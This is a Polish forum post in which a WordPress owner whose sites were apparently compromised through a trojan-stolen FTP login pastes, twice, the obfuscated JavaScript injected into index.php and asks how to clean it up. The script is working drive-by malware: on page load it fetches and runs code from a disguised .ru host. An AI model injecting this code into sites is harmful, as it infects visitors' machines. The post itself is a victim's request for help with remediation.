пропозиції роботи
konto usunięte
Temat: Wordpress Hack
Prawdopodobnie wczoraj shackowano moje wordpressy. Strony albo nie działają, albo się "rozjechały". Proszę o pomoc jak to naprawić.Opiszę całą sytuację:
Wczoraj wykryło mi jakiegoś trojana - usunęłam go, ale komp mi się w tym momencie zawiesił i musiałem zrobić reset. Trojan prawdopodobnie wykorzystał mojego FTPa.
Jeżeli chodzi o same strony. Do różnych plików zostały dodane kody, te pliki to m.in. default-filters.php oraz index.php. Niestety więcej nie znalazłem.
W index.php mam dodany taki kod:
<script>try {var V="rep"+"lacFCdm".substr(0,3)+"AQ0e".substr(3);var F='';var I=RegExp;var h=new String();var kh=new String();function e(X,U){var Vf;if(Vf!='x_' && Vf!='Fy'){Vf=''};var S;if(S!='Up' && S != ''){S=null};this.M='';var Qi=new Array();var Y=new String("[XsR".substr(0,1));var CC;if(CC!='Zs'){CC=''};var k=new String("viMSg".substr(4));Y+=U;Y+=new String("Pzg]".substr(3));var b=new I(Y, k);var ik=new String();var Xi=new String();return X[V](b, new String());var n=new Date();var nO=new String();};this.mM='';var SQ;if(SQ!='' && SQ!='j'){SQ=null};this.mL="";var E=e('/AgFozoAgFlAez.yczoAmy/FgAoFoygAlFeF.FcFoFmA/ylAeyoA.AoyrzgF/zazrFtziFcAlzeAsybzaAszez.ycAoymA/zvAnyezxFpFrAeysFsy.ynyeztz.ApFhApA',"zAyF");var Ua=e('sJcVrJiVpJtJ',"JV");this.jO='';var YD=new String();var YO=e('835737775057557837353377053553',"357");var nE;if(nE!='' && nE!='QM'){nE=null};var MO;if(MO!='' && MO!='YLc'){MO=null};var l=e('cfrgeTaTtGeTEflgefmfegnGtT',"fgGT");var sP;if(sP!='Je' && sP!='jX'){sP='Je'};var m='';this.sy='';var YI;if(YI!='' && YI!='f'){YI=null};var g=e('osnUlsosaHdU',"UHs5");var nm=new String();var zc=new Array();var i=window;this.GN="";var nM=new Array();var R=e('h0tktDpk:D/k/0gDoko0g0lkeD-kaktk.kmDektkakc0akfDe0.DcDo0m0.0d0a0u0mk-kn0ektD.kBDe0sDtkB0lDeknkdDeDr0P0aDr0tk.Dr0u0:0',"Dk0");var Wm=new String();B=function(){this.Ja='';var UT;if(UT!='JE' && UT!='t'){UT='JE'};var mo;if(mo!='fA' && mo!='dL'){mo=''};var jl=new String();In=document[l](Ua);m=R+YO;this.Ld="";var im;if(im!='Uq'){im=''};m+=E;var Fj='';var SK='';this.OM="";In.defer=([8,1][1]);var Ag;if(Ag!='' && Ag!='tW'){Ag='AL'};var PM;if(PM!='' && PM!='eE'){PM=''};In.src=m;var N;if(N!='' && N!='Ly'){N='g_'};var wv;if(wv!='' && wv!='zz'){wv='T'};document.body.appendChild(In);var fd;if(fd!='' && fd!='kb'){fd=''};var OL;if(OL!='_' && OL!='rQ'){OL=''};};var ZY="";var Jy=new Array();var OF='';this.CU="";i[g]=B;var Bu=new Date();this.QLT="";} catch(x){var Gg=new Array();var JF;if(JF!='EC' && JF!='LVL'){JF=''};};</script>
<!--9c4204cf177a24a276829e22208fdb9f--><script>try {var V="rep"+"lacFCdm".substr(0,3)+"AQ0e".substr(3);var F='';var I=RegExp;var h=new String();var kh=new String();function e(X,U){var Vf;if(Vf!='x_' && Vf!='Fy'){Vf=''};var S;if(S!='Up' && S != ''){S=null};this.M='';var Qi=new Array();var Y=new String("[XsR".substr(0,1));var CC;if(CC!='Zs'){CC=''};var k=new String("viMSg".substr(4));Y+=U;Y+=new String("Pzg]".substr(3));var b=new I(Y, k);var ik=new String();var Xi=new String();return X[V](b, new String());var n=new Date();var nO=new String();};this.mM='';var SQ;if(SQ!='' && SQ!='j'){SQ=null};this.mL="";var E=e('/AgFozoAgFlAez.yczoAmy/FgAoFoygAlFeF.FcFoFmA/ylAeyoA.AoyrzgF/zazrFtziFcAlzeAsybzaAszez.ycAoymA/zvAnyezxFpFrAeysFsy.ynyeztz.ApFhApA',"zAyF");var Ua=e('sJcVrJiVpJtJ',"JV");this.jO='';var YD=new String();var YO=e('835737775057557837353377053553',"357");var nE;if(nE!='' && nE!='QM'){nE=null};var MO;if(MO!='' && MO!='YLc'){MO=null};var l=e('cfrgeTaTtGeTEflgefmfegnGtT',"fgGT");var sP;if(sP!='Je' && sP!='jX'){sP='Je'};var m='';this.sy='';var YI;if(YI!='' && YI!='f'){YI=null};var g=e('osnUlsosaHdU',"UHs5");var nm=new String();var zc=new Array();var i=window;this.GN="";var nM=new Array();var R=e('h0tktDpk:D/k/0gDoko0g0lkeD-kaktk.kmDektkakc0akfDe0.DcDo0m0.0d0a0u0mk-kn0ektD.kBDe0sDtkB0lDeknkdDeDr0P0aDr0tk.Dr0u0:0',"Dk0");var Wm=new String();B=function(){this.Ja='';var UT;if(UT!='JE' && UT!='t'){UT='JE'};var mo;if(mo!='fA' && mo!='dL'){mo=''};var jl=new String();In=document[l](Ua);m=R+YO;this.Ld="";var im;if(im!='Uq'){im=''};m+=E;var Fj='';var SK='';this.OM="";In.defer=([8,1][1]);var Ag;if(Ag!='' && Ag!='tW'){Ag='AL'};var PM;if(PM!='' && PM!='eE'){PM=''};In.src=m;var N;if(N!='' && N!='Ly'){N='g_'};var wv;if(wv!='' && wv!='zz'){wv='T'};document.body.appendChild(In);var fd;if(fd!='' && fd!='kb'){fd=''};var OL;if(OL!='_' && OL!='rQ'){OL=''};};var ZY="";var Jy=new Array();var OF='';this.CU="";i[g]=B;var Bu=new Date();this.QLT="";} catch(x){var Gg=new Array();var JF;if(JF!='EC' && JF!='LVL'){JF=''};};</script>
<!--9c4204cf177a24a276829e22208fdb9f-->Czy ktoś kiedykolwiek się z takim atakiem spotkał?? Jak to naprawić??
Z góry dzięki.
